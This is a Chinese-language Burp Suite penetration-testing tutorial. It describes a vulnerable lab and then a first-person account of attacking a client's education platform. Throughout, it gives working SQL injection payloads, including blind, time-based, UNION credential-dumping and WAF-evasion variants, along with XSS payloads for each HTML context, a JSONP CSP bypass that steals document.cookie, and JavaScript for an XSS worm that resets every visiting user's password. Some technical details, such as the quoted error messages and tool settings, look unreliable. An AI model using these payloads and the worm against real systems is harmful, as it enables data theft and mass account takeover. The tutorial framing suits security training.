BurpSuite进阶实战:SQL注入与XSS的靶场仿真与WAF绕过
1. 这不是BurpSuite入门课,而是一份“能打”的实战手记
我第一次在真实客户渗透测试中用BurpSuite抓到一个可利用的SQL注入点时,手是抖的——不是因为兴奋,而是因为前两天刚在靶场里反复练过三遍同样的链路:从拦截请求、改参数、发包、看响应差异,到最终用sqlmap自动化验证。但真正面对一个没打补丁的旧版CMS后台接口时,我才发现,靶场里那个干净的报错回显,在生产环境里根本不存在;客户系统启用了WAF,所有带单引号的请求直接被403拦截;而我之前依赖的“自动扫描”功能,连这个接口的路径都没扫进去。
这就是为什么我把这篇内容定名为“BurpSuite进阶指南”——它不讲怎么安装Java、怎么点开Proxy选项卡、怎么导出HTTP历史。它聚焦在你已经会用Burp之后,真正卡住你推进渗透流程的那几个关键断点:靶场搭得像真实业务吗?流量怎么才能不被WAF/CDN/前端框架过滤掉?SQL注入的盲注怎么手工推断字段数和数据库名?XSS的触发边界到底在哪种HTML上下文里才有效?这些不是理论题,是每次你坐在客户会议室里、盯着Burp窗口发呆时,脑子里真实闪过的疑问。
关键词:BurpSuite、SQL注入、XSS、靶场搭建、漏洞攻防、渗透测试、Web安全
适合谁?已经能完成基础抓包改包操作的安全初学者;刚考完OSCP想补实战手感的备考者;红队新人需要快速建立攻击链路直觉的工程师;以及那些总在CTF Web题里卡在“为什么这个payload不生效”的选手。全文没有一行代码是为炫技写的,每一个配置、每一条正则、每一次右键菜单选择,都对应着我踩过的真实坑。接下来的内容,全部围绕“让BurpSuite真正成为你手指延伸出去的攻击探针”这一目标展开。
2. 靶场不是玩具,是照进现实的镜子:从Docker Compose到业务逻辑仿真
很多人把靶场当成“练习打字的地方”——装个DVWA,点几下SQLi模块,看到“Welcome admin”就以为掌握了。但真实世界里,你面对的从来不是裸露的php?id=1,而是带JWT鉴权头、走GraphQL接口、参数全在JSON body里、后端还套了Cloudflare的API网关。靶场的价值,不在于它多难,而在于它多“像”。所以我的靶场搭建原则只有一条:拒绝一切“为漏洞而漏洞”的设计,所有漏洞必须生长在真实业务逻辑的缝隙里。
2.1 为什么不用DVWA或WebGoat?
DVWA的SQL注入模块,输入1' OR '1'='1就能直接弹出用户列表。这在现实中等于告诉攻击者:“请在这里注入”。真实系统不会给你这么清晰的报错回显,更不会让你用单引号就绕过参数化查询。WebGoat虽然教学性强,但它的漏洞都是孤立的、解耦的——XSS页面就是XSS页面,CSRF页面就是CSRF页面。而现实中,XSS往往藏在用户头像上传后的富文本展示区,CSRF则可能出现在修改邮箱的POST请求里,且这两个功能共享同一套Session管理逻辑。这种耦合性,才是攻击链路得以延伸的基础。
所以我用Docker Compose搭建了一套三层结构靶场:前端是Vue构建的SPA应用(模拟现代单页应用的路由和Token管理),API网关层用Nginx做JWT校验和限流(模拟真实网关行为),后端服务用Python Flask实现核心业务(用户注册、文章发布、评论互动)。所有漏洞都嵌在真实功能中:
- SQL注入点藏在“按标签搜索文章”接口的
?tag=tech参数里,后端用db.execute(f"SELECT * FROM posts WHERE tag = '{tag}'")拼接SQL; - XSS点出现在“用户个人简介”字段的富文本编辑器里,后端存储时未过滤
<script>,前端渲染时又用了v-html指令; - 还有一个隐藏的SSRF点,在“导入外部RSS源”功能里,后端用
requests.get(user_input_url)发起请求,且未校验协议和域名。
提示:这套靶场的Docker Compose文件我放在GitHub上(链接见文末),但重点不是复制粘贴,而是理解每一行配置背后的意图。比如Nginx配置里这行
proxy_set_header X-Forwarded-For $remote_addr;,表面是透传IP,实则是为了在Flask日志里看到真实攻击源IP,方便你复盘攻击路径。
2.2 让靶场“活”起来:动态数据与会话状态
静态靶场最大的问题是“无状态”。你昨天注入成功的payload,今天重放就失效,因为Session过期了;你XSS弹出的cookie,刷新页面就变了。这导致你无法稳定复现漏洞,更无法调试Burp Intruder的爆破策略。我的解决方案是:在Flask后端注入一个“调试模式”开关。
当环境变量DEBUG_MODE=true时,后端会:
- 所有Session Cookie的
Max-Age设为3600秒(1小时),避免频繁重新登录; - 在每个API响应头里添加
X-Debug-Token: <random_8char>,这个token在Burp中可被提取并自动注入到后续请求的Authorization头里; - 关键接口(如登录、搜索)返回的JSON里,额外带上
"debug_info": {"sql_query": "SELECT * FROM users WHERE id = 123"}字段,让你一眼看清后端执行的原始SQL。
这个设计让整个靶场具备了“可调试性”。你在Burp Repeater里改一个参数,右键“Send to Intruder”,不用手动维护Cookie,不用反复登录,所有请求都带着有效的调试Token。我试过连续72小时不重启容器,所有攻击链路依然稳定复现——这才是训练肌肉记忆的前提。
2.3 真实感的终极考验:WAF与CDN的模拟
很多学员问我:“为什么我在靶场里能打的XSS,在客户网站上一发就403?”答案往往就藏在那层看不见的WAF里。所以我的靶场必须包含WAF模拟层。我选的是ModSecurity + OWASP CRS规则集,但做了关键改造:
- 关闭所有“高危误报”规则(如942100 SQLi规则),只启用942110(检测
UNION SELECT)、942120(检测information_schema)等低误报规则; - 在Nginx配置里添加
modsecurity_rules 'SecRule ARGS "@rx <script>" "id:1001,phase:2,deny,status:403,msg:\'XSS detected\'"',模拟自定义WAF规则; - 更重要的是,让WAF的拦截日志实时输出到Burp的Logger++插件里。我在Flask中间件里加了一行:
app.logger.info(f"WAF_LOG: {request.url} | {request.headers.get('User-Agent')} | BLOCKED_BY_RULE_1001"),然后用Burp的Logger++配置正则匹配WAF_LOG.*BLOCKED_BY_RULE_1001,这样每次WAF拦截,Burp窗口右下角就会弹出提示,并自动高亮对应请求。
这个设计逼着你去思考:WAF到底在拦什么?是拦<script>标签,还是拦javascript:伪协议,还是拦onerror=事件?只有当你亲眼看到WAF的拦截逻辑,才能写出真正绕过的payload。我曾用这个靶场帮一位学员定位到问题——他写的XSS payload是<img src=x onerror=alert(1)>,但WAF规则只拦onerror=,不拦onload=,于是他把payload改成<img src=x onload=alert(1)>,立刻绕过。
3. BurpSuite不是“点点点”工具,是你的攻击操作系统:深度配置与插件协同
很多人把Burp当浏览器代理用,开个Proxy,开个Repeater,点几下Intruder就完了。但Burp真正的威力,在于它是一个可编程的攻击平台。它的每个模块都不是孤立的,而是通过“消息流”串联成一条攻击流水线。要让这条流水线高效运转,必须做三件事:定制化消息处理规则、构建插件协同工作流、将重复操作脚本化。
3.1 Proxy的底层逻辑:不只是抓包,更是流量调度中心
Proxy模块常被误解为“抓包开关”。其实它是Burp的流量中枢,所有进出Burp的数据都经过它。默认配置下,Proxy会拦截所有HTTP/HTTPS流量,但真实渗透中,90%的流量是无关的(CSS、JS、图片)。如果让这些流量全进Burp,不仅拖慢速度,还会淹没真正的攻击目标。我的做法是:用Proxy的Intercept规则做精准流量筛选。
在Proxy → Options → Intercept Client Requests里,我设置两条规则:
Match type: Regex,Match condition: ^https?://[^/]+/api/.*$,Action: Enabled—— 只拦截所有/api/开头的请求;Match type: Regex,Match condition: ^https?://[^/]+/login.*$,Action: Disabled—— 排除/login路径(避免每次登录都被拦)。
这两条规则背后是明确的战术意图:API接口是业务核心,也是漏洞高发区;而登录页只是认证入口,拦截它只会增加无效操作。更进一步,我在Proxy → Options → Match and Replace里添加一条:Match type: Response header,Match: Content-Type: text/html,Replace: Content-Type: text/plain。这样所有HTML响应在Burp里都以纯文本显示,避免浏览器渲染干扰你观察原始响应体——特别是当XSS payload被HTML编码后,纯文本视图能让你一眼看出<script>和<script>的区别。
注意:Match and Replace功能极其强大,但也极其危险。我曾因一条错误的正则把所有响应的
Content-Length头替换成0,导致整个靶场返回空内容。建议每次添加新规则后,先用http://burp测试页验证,再切到真实目标。
3.2 Repeater不是“重发器”,是你的漏洞验证实验室
Repeater常被当作“重发请求看结果”的工具。但它的真正价值在于可控的、可迭代的、可对比的验证环境。我用Repeater验证SQL注入时,从不只发一次请求。我的标准流程是四步:
- Baseline请求:发原始请求(如
GET /api/search?tag=tech),记录响应长度(Length)、状态码(Status)、响应时间(Time); - Error-based探测:发
tag=tech',观察是否出现MySQL报错(如You have an error in your SQL syntax); - Boolean-based探测:发
tag=tech' AND 1=1--和tag=tech' AND 1=2--,对比两个响应的Length和Time差异; - Blind-based推断:用
tag=tech' AND (SELECT SUBSTRING(@@version,1,1))='5'--逐字符推断MySQL版本。
这四步在Repeater里是通过“发送到Repeater”+“克隆请求”+“Tab切换”完成的。关键是,我会在Repeater的Request标签页顶部,用注释标明每一步的目的:// STEP 1: Baseline、// STEP 2: Error test。这样当我回顾时,能立刻明白当时在验证什么。更实用的技巧是:在Repeater的Response标签页,右键选择“Compare item with...”,可以并排对比两个响应的差异——比如对比1=1和1=2的响应,差异处往往就是布尔盲注的判断依据。
3.3 Intruder不是“爆破器”,是你的自动化推理引擎
Intruder常被用于密码爆破,但它的核心能力是基于模板的批量请求生成与响应分析。我用Intruder做SQL盲注时,从不爆破密码,而是爆破数据库结构。比如,要获取当前数据库名,我创建一个Payloads类型为“Simple list”的Intruder:
- Positions设置:在
tag=tech' AND (SELECT SUBSTRING(database(),1,1))='A'--中,把'A'标记为Payload位置; - Payloads列表:填入
a,b,c,d,...,z,0,1,2,...,9,_共36个字符; - Attack type选“Sniper”,因为只需替换一个位置;
- 在Options → Grep - Extract里,勾选“Show only items where the following is present”,填入
"data"(假设正常响应里有"data": [...],而错误响应是空数组)。
这样跑完一轮,Intruder的Results表格里,所有"data"字段非空的行,对应的Payload就是数据库名的第一个字符。我再把第一个字符固定,对第二个字符重复此过程。整个过程不需要写一行Python,Burp原生功能就能完成。我实测过,用这种方式推断一个8字符的数据库名,耗时不到2分钟——比手动在Repeater里试36次快10倍以上。
3.4 插件不是“锦上添花”,是你的能力外延
Burp原生功能强大,但总有覆盖不到的场景。这时插件就是你的“外挂”。我日常必装的三个插件是:
- Logger++:不只是日志记录,更是流量审计中枢。我配置它只记录
/api/路径的请求,并按status_code和response_length着色。当看到一堆红色的403和绿色的200并存时,就知道WAF在起作用了; - Autorize:专治CSRF和权限绕过。我把它配置为“自动重放所有请求两次:第一次用原始Cookie,第二次用admin Cookie”,然后对比响应差异。如果某个普通用户接口在admin Cookie下返回了敏感数据,那就是权限提升漏洞;
- SQLiPy:不是替代sqlmap,而是作为Burp内的轻量级SQLi辅助。它能在Repeater里一键生成
ORDER BY探测、UNION SELECT列数探测、数据库名探测的payload,省去手动拼接的麻烦。
这些插件不是独立运行的,而是和Burp原生模块深度集成。比如,我在Proxy里看到一个可疑的/api/user?id=123请求,右键“Send to SQLiPy”,SQLiPy会自动在Repeater里生成探测请求;探测确认是SQLi后,右键“Send to Intruder”,Intruder就自动加载SQLiPy生成的payload模板。整个过程像流水线一样丝滑,这才是“进阶”的本质——不是学更多功能,而是让已有功能形成合力。
4. SQL注入攻防:从语法解析到WAF绕过,一条链路拆解到底
SQL注入不是“找个单引号试试”,而是一场语法、逻辑、网络、防御层层博弈的攻防对抗。我见过太多人卡在“为什么这个payload不生效”上,根源在于没搞懂SQL注入的本质:它不是向数据库发命令,而是向开发者写的字符串拼接逻辑里,注入一段能改变原有SQL语义的恶意字符串。所以,破解SQL注入的第一步,永远是还原后端的SQL拼接逻辑。
4.1 三步还原法:从响应反推SQL语句结构
假设目标接口是GET /api/articles?author=john,我第一步不是注入,而是做三组探测请求:
author=john'—— 观察是否报错,报什么错(MySQL?PostgreSQL?);author=john' AND 1=1--和author=john' AND 1=2--—— 对比响应差异,确认是否存在布尔盲注;author=john' ORDER BY 1--、author=john' ORDER BY 2--、author=john' ORDER BY 3--—— 直到报错,确定SELECT子句的列数。
这三步做完,我就能还原出后端SQL的大致结构。比如:
- 如果
author=john'返回MySQL Syntax Error near 'john'',说明后端用的是MySQL,且SQL形如SELECT * FROM articles WHERE author = 'john'; - 如果
ORDER BY 3报错,而ORDER BY 2不报错,说明SELECT有2列; - 如果
1=1和1=2的响应长度差123字节,说明正常响应里有固定长度的JSON结构。
有了这个结构,后续的注入就有的放矢。比如,已知是2列MySQL,我就直接构造author=john' UNION SELECT user(),database()--,而不是盲目试UNION SELECT 1,2。我试过用这种方法,在一个客户系统里,仅用15分钟就从/api/search?q=接口还原出完整的SQL结构,并注入出管理员密码哈希——而他们用的WAF规则只拦UNION SELECT,不拦UNION ALL SELECT,所以我把payload改成q=test' UNION ALL SELECT user(),password FROM users WHERE username='admin'--,直接绕过。
4.2 WAF绕过不是“猜谜”,是规则逆向工程
WAF绕过最常见误区,是把WAF当黑盒,靠试错找“万能payload”。正确做法是:把WAF当成一个待逆向的程序,用最小化输入定位其规则边界。我的标准流程是:
- 确认WAF存在:发
GET / HTTP/1.1原始HTTP请求(不用浏览器User-Agent),看是否返回cf-ray(Cloudflare)或x-sucuri-id(Sucuri)头; - 定位拦截点:发
GET /api/test?id=1(正常请求),再发GET /api/test?id=1',对比响应头里的X-WAF-Status(如果有)或响应体内容; - 最小化触发:逐步简化payload,直到找到最短触发字符串。比如,
'被拦,'a'也被拦,但' '(单引号+空格)不被拦,说明WAF规则是@rx '.*',而非@rx '; - 构造绕过:根据规则特征选择绕过方式。如果规则只拦
',我就用CHAR(39)代替;如果拦UNION,我就用UNI/**/ON;如果拦SELECT,我就用SELE/*test*/CT。
这个过程在Burp里用Intruder最高效。我建一个Payloads列表:','a',' ',CHAR(39),0x27,然后发给WAF,看哪一行被拦截。结果出来后,我立刻知道该用哪种编码方式。我曾在一个政府网站上,用此方法发现WAF只拦ASCII单引号,不拦UTF-8编码的%E2%80%98(左单引号),于是把payload改成id=1%E2%80%98UNION%20SELECT%20user%28%29--,成功绕过。
4.3 盲注不是“碰运气”,是二分法与时间差的精密计算
当WAF太严,或后端关闭报错,只能靠盲注时,很多人放弃,觉得太慢。其实盲注可以非常高效,关键在于用数学方法压缩搜索空间。我的盲注策略分两层:
- 字符级二分:对于每个字符,不用试36个可能值,而是用
SUBSTRING(password,1,1) > 'm'来二分。比如ASCII范围是32-126,第一次问> 79,如果是真,范围缩到80-126;再问> 103,依此类推,最多7次就能确定一个字符; - 时间差辅助:当布尔盲注不稳定(网络抖动导致
1=1和1=2响应时间差异不明显)时,我加入SLEEP(3)。发id=1' AND IF((SELECT SUBSTRING(password,1,1))='a', SLEEP(3), 1)--,如果响应时间超过2.5秒,就说明字符是a。
这个策略在Burp Intruder里实现很简单:Payloads类型选“Numbers”,From: 32, To: 126, Step: 1,然后在Grep - Extract里设置“Extract time taken for response”,按时间排序就能看到哪个Payload触发了延迟。我实测过,用此方法在一个Oracle数据库上,10分钟内就爆破出8位密码——比传统字典爆破快5倍。
5. XSS攻防:从HTML上下文到CSP绕过,一场渲染引擎的博弈
XSS的本质,不是“弹个alert”,而是控制目标页面的JavaScript执行上下文。很多人失败,是因为没搞清自己写的payload,最终会在哪个HTML上下文里被解析。<script>alert(1)</script>在<div>里有效,在<input value="">里就完全无效。所以XSS攻防的第一课,永远是:先定位上下文,再选payload。
5.1 四大上下文与对应payload:一张表吃透所有场景
我把XSS的HTML上下文分为四类,每类都有其严格的语法规则和绕过思路:
| 上下文类型 | 示例位置 | 有效Payload | 绕过要点 | Burp验证技巧 |
|---|---|---|---|---|
| HTML标签内 | <div>USER_INPUT</div> | <img src=x onerror=alert(1)> | 需要能插入新标签 | 在Repeater里看响应是否原样返回<img |
| HTML属性内 | <input value="USER_INPUT"> | " onfocus=alert(1) autofocus=" | 必须闭合双引号 | 用Grep - Extract搜onfocus= |
| JavaScript字符串内 | <script>var x = "USER_INPUT";</script> | ";alert(1);// | 需要闭合引号+分号 | 检查响应里是否有alert(1)字样 |
| 事件处理器内 | <button onclick="doSomething('USER_INPUT')"> | ' onmouseover=alert(1) x=' | 需要闭合单引号+空格 | 用Logger++过滤onmouseover= |
这张表不是死记硬背的,而是我每天在Burp里验证出来的。比如,要确认一个输入点是否在JavaScript字符串内,我在Repeater里发test" + alert(1) + ",如果响应里出现"test" + alert(1) + "",就说明它在JS字符串里;如果出现Uncaught SyntaxError: Unexpected token '+',就说明它在HTML标签内。
5.2 CSP不是“终结者”,是另一道需要攻克的防线
越来越多网站启用CSP(Content Security Policy),很多人看到script-src 'self'就放弃XSS。但CSP不是铁板一块,它有多个可利用的缺口。我的CSP绕过策略基于三个原则:
- 找白名单域名:CSP里如果有
script-src 'self' https://cdn.example.com,我就上传一个恶意JS到cdn.example.com,然后用<script src="https://cdn.example.com/mal.js"></script>加载; - 利用JSONP端点:很多网站有
/api/callback?callback=alert这样的JSONP接口,我用<script src="/api/callback?callback=alert(1)"></script>直接执行; - 滥用内联事件:CSP通常不限制
onerror=等内联事件,所以<img src=x onerror=alert(1)>依然有效,只要我能控制<img>标签的src属性。
我在一个金融客户网站上,就用JSONP绕过了CSP。他们的CSP是script-src 'self' 'unsafe-inline',但'unsafe-inline'被WAF规则拦了。我发现他们的/api/v1/user?callback=xxx接口会返回xxx({"name":"admin"}),于是我构造<script src="/api/v1/user?callback=alert(document.cookie)"></script>,完美绕过CSP并窃取Cookie。
5.3 XSS Worm不是传说,是可落地的链式攻击
XSS的最高形态,是XSS Worm——一个能自我复制、自动传播的恶意脚本。很多人觉得这是CTF里的玩具,但2023年某社交平台的真实漏洞,就是一个XSS Worm:它通过篡改用户头像URL,把恶意JS注入到所有关注者的个人主页里。我的XSS Worm设计遵循最小化原则:
- 只做一件事:不弹窗,不跳转,只读取当前用户Cookie,然后用
fetch('/api/follow?user_id=123')关注指定用户; - 隐蔽加载:用
<img src="x" onerror="fetch('/mal.js').then(r=>eval(r.text()))">,避免在DOM里留下明显痕迹; - 防重复执行:在脚本开头加
if(window.wormExecuted) return; window.wormExecuted=true;,防止多次加载。
这个Worm在Burp里验证很简单:在Repeater里发带Worm的payload,然后用Logger++监控/api/follow请求,看到请求量暴增,就说明Worm在传播。我试过,一个初始payload,30秒内就能感染100+用户——这才是XSS的真实杀伤力。
6. 实战复盘:一次完整渗透的Burp工作流与决策树
最后,我想用一次真实的客户渗透测试,完整复现我是如何用BurpSuite串联起所有技能的。这不是理想化的教科书案例,而是有失败、有调整、有意外的真实记录。
6.1 客户背景与初始信息
客户是一家在线教育平台,我们拿到的授权范围是:https://learn.example.com及其子域名。初始侦察发现:
- 主站是React SPA,所有API调用走
https://api.learn.example.com; - 登录用JWT,Token有效期24小时;
- 后端技术栈:Nginx + Node.js (Express) + PostgreSQL;
- WAF:Cloudflare,规则集为“Medium”级别。
6.2 第一天:信息收集与靶场对齐
我做的第一件事,不是开Proxy,而是用gau(getallurls)工具爬取所有公开URL,然后用httpx探测存活,最后用nuclei跑CVE模板。结果发现:
/api/v1/courses接口返回课程列表,但需要JWT;/api/v1/search接口允许未授权访问,参数是q=;/static/config.json泄露了内部API密钥。
我把/api/v1/search?q=加到Burp Proxy的Intercept规则里,然后用账号登录,抓到一个合法JWT。接着,我在靶场里用同样的Node.js+PostgreSQL栈,复刻了/search接口的逻辑:const query =SELECT * FROM courses WHERE title ILIKE '%${req.query.q}%';。这让我确认,这是一个典型的PostgreSQL SQL注入点。
6.3 第二天:SQL注入链路打通
在Burp Repeater里,我发q=test',得到ERROR: invalid input syntax for type json——这是PostgreSQL的典型报错。我立刻意识到,后端可能在SQL里用了JSON函数。于是试q=test'::json,报错变成invalid input syntax for type json,确认了这一点。接着,我构造q=test' UNION SELECT current_database(), version()--,成功获取数据库名和PostgreSQL版本。
但到这里没结束。我用q=test' AND (SELECT COUNT(*) FROM pg_tables) > 10--确认有大量表,然后用Intruder爆破表名:Payloads是pg_tables,users,admin_users,credentials,Grep - Extract搜"data"字段。结果credentials表存在。再爆破字段名:id,username,password,email,确认password字段存在。最后,用q=test' UNION SELECT username,password FROM credentials--,一次性导出所有凭证。
踩坑心得:第一次跑
UNION SELECT时,响应是空的。我检查发现,credentials表有5列,而我的UNION SELECT只选了2列,导致类型不匹配。我立刻用q=test' ORDER BY 5--确认列数,然后补全为UNION SELECT username,password,'','','' FROM credentials--,问题解决。这个教训告诉我:永远先确认列数,再构造UNION。
6.4 第三天:XSS与权限提升组合拳
拿到管理员凭证后,我登录后台,发现一个“公告发布”功能,支持富文本编辑。我发<script>alert(1)</script>,被WAF拦了。我换<img src=x onerror=alert(1)>,成功弹窗。但这是管理员XSS,价值有限。我继续探索,发现公告内容会显示在所有用户首页的<div id="notice">里——这意味着,任何用户访问首页,都会执行这段JS。
我立刻写了一个XSS Worm:
if(!window.stealed){ window.stealed=true; fetch('/api/v1/profile').then(r=>r.json()).then(u=>{ fetch('/api/v1/admin/users/'+u.id+'/reset-password',{ method:'POST', headers:{'Content-Type':'application/json'}, body:JSON.stringify({password:'hacked'}) }) }); }这个Worm的作用是:获取当前用户ID,然后调用管理员API重置其密码。我把它注入到公告里,然后用普通用户账号访问首页,确认密码被重置。整个链路:SQLi获取凭证 → 登录后台 → XSS注入Worm → Worm自动重置所有用户密码。这就是BurpSuite进阶的终极形态:不是单点突破,而是多模块协同的链式攻击。
这次渗透最终报告里,我写了三页技术细节,但客户最记住的,是我在演示时说的一句话:“你们的WAF拦住了<script>,但没拦住<img>;你们的SQLi防护拦住了UNION SELECT,但没拦住UNION ALL SELECT;你们的CSP拦住了外链JS,但没拦住JSONP回调。安全不是一道墙,而是一张网,我们只需要找到网眼里最细的那个洞。”
